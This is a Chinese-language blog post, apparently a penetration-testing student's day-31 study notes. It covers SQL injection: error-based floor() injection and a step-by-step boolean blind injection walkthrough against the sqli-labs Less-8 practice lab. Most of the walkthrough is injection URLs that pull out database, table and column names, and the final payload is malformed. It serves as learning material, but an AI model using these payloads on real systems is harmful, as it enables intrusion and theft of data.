sql注入 第三十一天 周三

  1. ascii编码知识
  2. 报错型注入
  • 数据提交方式
    1. get
    2. post
    3. header
      1. floor
    4. 布尔盲注
      1. 知识前提
      2. concat与group_concat
    5. 布尔盲注
  • ascii编码知识

    1、常用的编码:
    / & 空格 ‘(单引号) # %
    %2F %26 %20 %27 %23 %25

    报错型注入

    maridb 5.5  十种注入报错,只有前三种能用
    mysql8.0 只有2,3能用
    mysql 5.0 只有前九个能用

    数据提交方式

    get

    用get方式提交的数据,构建测试语句时,用--+注释
    
    或者用--空格,表示方式是--%20
    

    post

    post 是隐形数据提交不能自带空格,需要我们来填 -- l来表示

    floor

    语句:select * from users where id = 1 
         and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x 
         from information_schema.tables group by x)a);
    
    
    此报错注入的关键点在于count(*),floor(rand(0)*2),group by.

    布尔盲注

    知识前提

    ascii码转换
    select asc("'") 输出十进制数,然后转换16进制输出
    
    mid与substr截取字符串
    select mid('hellow',2,3) 字符串截取,从第二位开始截取3位
    
    统计字符长度
    select length('hellow') 
    
    统计host出现在mysql.user中行的次数   
    select count(host) from mysql.user
    
    去重(distinct)
    select distinct host from mysql.user

    concat与group_concat

    maridb 10.4的结果
    maridb 5.0 
    mysql5.1
    三种数据库结果一样
    
    select concat(host,user,password) from mysql.user
    concat是将其做成一列保持行数不变
    
    select group_concat(host,user,password) from mysql.user
    group_concat是将其集成一列,整体输出
    
    concat 是多行
    
    group_concat是单行
    

    布尔盲注

    1、猜测数据库长度
    计算长度
    length(user())
    判断第一个字母
    http://192.168.100.197/Less-8/?id=1' and  length((database())) > 7#
    数据库名长为8
    
    第二步:猜测数据库字母
    http://192.168.100.197/Less-8/?id=1' and  ascii(mid(database(),1,1))> 115#
        第二个字母:
    http://192.168.100.197/Less-8/?id=1' and  ascii(mid(database(),2,1))> 115#
    依次类推得出:
     库名  security
    
    第三步:通过这个查到当前数据库下的,表的数量为4
    http://192.168.100.54/sqli-labs-master/Less-8//?id=1' and (select count(table_name) from information_schema.tables where table_schema=database()) =4  --+
    
        查到第一个表的长度
    http://192.168.100.54/sqli-labs-master/Less-8//?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1)) >8  --+
    
        第一个表有8个字符,然后通过猜字母:
    http://192.168.100.54/sqli-labs-master/Less-8//?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1) ,1,1))>114  --+
        第一个字母r
    
    第四步:查看表中的字段
    http://192.168.100.54/sqli-labs-master/Less-8//?id=1' and  (select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())>2 --+
    
        得到有三个字段,猜字段名
    
    http://192.168.100.54/sqli-labs-master/Less-8//?id=1' and  ascii(mid((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))>2 --+
    
    第五步:猜内容
    
    http://192.168.100.54/sqli-labs-master/Less-8//?id=1' and  ascii(mid((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))>2 --+
    
    http://192.168.100.197/Less-8/?id=1' and select username from sercrity.users --+
    
    
    

    转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 zhumeng512@qq.com

    文章标题:sql注入 第三十一天 周三

    本文作者:弈少

    发布时间:2019-08-28, 21:48:54

    最后更新:2019-08-29, 00:29:21

    原始链接:http://yoursite.com/2019/08/28/北京渗透测试第三十一天 20190828/

    版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

    目录
    ×

    喜欢就点赞,疼爱就打赏

    相册